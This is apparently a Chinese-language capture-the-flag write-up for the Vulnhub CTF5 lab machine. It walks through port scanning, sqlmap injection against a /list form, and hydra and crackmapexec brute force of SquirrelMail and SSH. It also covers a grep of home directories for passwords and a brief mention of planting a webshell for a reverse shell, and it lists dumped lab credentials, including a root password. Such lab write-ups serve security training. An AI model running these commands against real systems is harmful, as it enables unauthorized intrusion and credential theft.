Vulnhub CTF5
0x01:端口扫描
主机发现
nmap -sn 192.168.231.0/24
全端口扫描
nmap --min-rate 10000 -p- 192.168.231.142
22ssh,25smtp,80http,110pop3,111rpcbind,139、445smb,143imap,901samba-swat,3306mysql
SMTP 是一种用于发送电子邮件的协议,而端口 25 是 SMTP 协议的默认端口。通常,电子邮件服务器会通过这个端口发送和接收邮件。
POP3 是一种用于从邮件服务器下载电子邮件到本地计算机的协议。这个协议的作用是允许用户将邮件从远程邮件服务器提取到本地客户端(例如Outlook、Thunderbird等)进行阅读和管理。
rpcbind 服务,它负责接收 RPC 客户端请求,并将其映射到正确的服务程序。RPCbind 充当 RPC 服务的“电话簿”,客户端通过它查询到目标 RPC 服务的端口号。
IMAP协议 允许用户在邮件服务器上管理和查看邮件,而不需要将邮件下载到本地设备。
通过 SWAT,系统管理员可以在图形化界面中配置 Samba 服务,而无需手动编辑配置文件。它提供了便捷的界面来管理共享、用户权限、打印机共享等设置。SWAT 允许用户在 Web 浏览器中通过
http://<server-ip>:901
访问管理界面。
详细端口扫描
nmap -sT -sC -sV -O --min-rate 10000 -p22,25,80,110,111,139,143,445,901,3306,57952 192.168.231.142
0x02:smb渗透
因为开启smb服务,我们首先查看其是否信息泄露
nmap --script=smb-enum-shares 192.168.231.142
发现没有user,遂放弃
0x03:web渗透
目录扫描
dirsearch -u http://192.168.231.142
扫到4个页面,/list,/events,/mail/src/login.php,/phpmyadmin
我们在/mail
目录下看见webmail使用的版本为SquirrelMail version 1.4.11-1.fc8
我们搜索CMS公开漏洞
使用方法如下
但是发现他需要凭证用户密码
我们得另寻其路了
找了半天发现/list
目录下存在sql注入
sqlmap -u "http://192.168.231.142/list/" --data="name=1&email=2&phone=3&org=4" --dbs
jennifer------------无
patrick-------------password
andy----------------newdrupalpass
loren---------------lorenpass
amy-----------------temppass
现在我们可以使用那个脚本了
但是发现密码还是不对,发现是/events
CMS的凭证
进去逛了一圈,还是没有发现什么有用的信息
但是我们已经有用户名了,我们尝试爆破SquirrelMail
的密码
hydra -L ~/test/user.txt -P /usr/share/wordlists/rockyou.txt 192.168.231.142 http-post-form "/mail/src/redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:ERROR"
但是爆了很久也没有爆破出来,那我们试试爆破ssh
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.231.142 ssh -t 20
出现以下报错
网上搜索后发现
或者我们用CME也是可以的
crackmapexec ssh 192.168.231.142 -u /test/user.txt -p /usr/share/wordlists/rockyou.txt --continue-on-success
我们登录
ssh -o HostKeyAlgorithms=ssh-rsa patrick@192.168.231.142
0x04:权限提升
sudo -l
直接提权
0x05:思考总结
1.我们在大规模爆破ssh时,还是需要使用hydra多线程爆破,要不然太慢了
上网查了查,gpt不靠谱,这个比较有用
依照这个修改后运行hydra
hydra -L ~/test/user.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.231.142 -t 10
快速
2.另外一种攻击思路
我们可以在根目录发现文件包含漏洞,直接拿到用户名
这样就可以直接hydra爆破ssh了,快速
3.另外一种优雅的攻击方法
我们在根目录页面下点击blog找到其cms为NanoCMS
搜索公开CMS漏洞发现在/data/pagesdata.txt
存在信息泄露,我们进一步查看
拿到凭据admin@shannon
我们登录cms后台
我们根据漏洞修改php文件
我们写马反弹shell就行了
4.不是所用的用户都是高权限用户,我们获得更多凭证后需要学会横向迁移
比如这台靶机的amy
用户就是低权限,刚刚获得了几个凭证,我们都可以试试
迁移到patrick
就获得了更高的权限
5.另外一种提权思路
我们不用横向迁移,首先登录amy
ssh amy@192.168.231.142 -o HostKeyAlgorithms=ssh-rsa
然后在home
目录下搜索pass
grep -R -i pass /home/* 2>/dev/null
顺藤摸瓜找到root密码
root@50$cent
6.看大佬的wp发现SquirrelMail也是可以爆破出密码的,但是我当时没有爆出来
分析了一下原因,和他的使用方法一样,但是却略过了正确密码
尝试用yakit
爆破发现延迟巨高
到后面发的包就会被丢掉
除非你写python脚本,但是效率比前几种低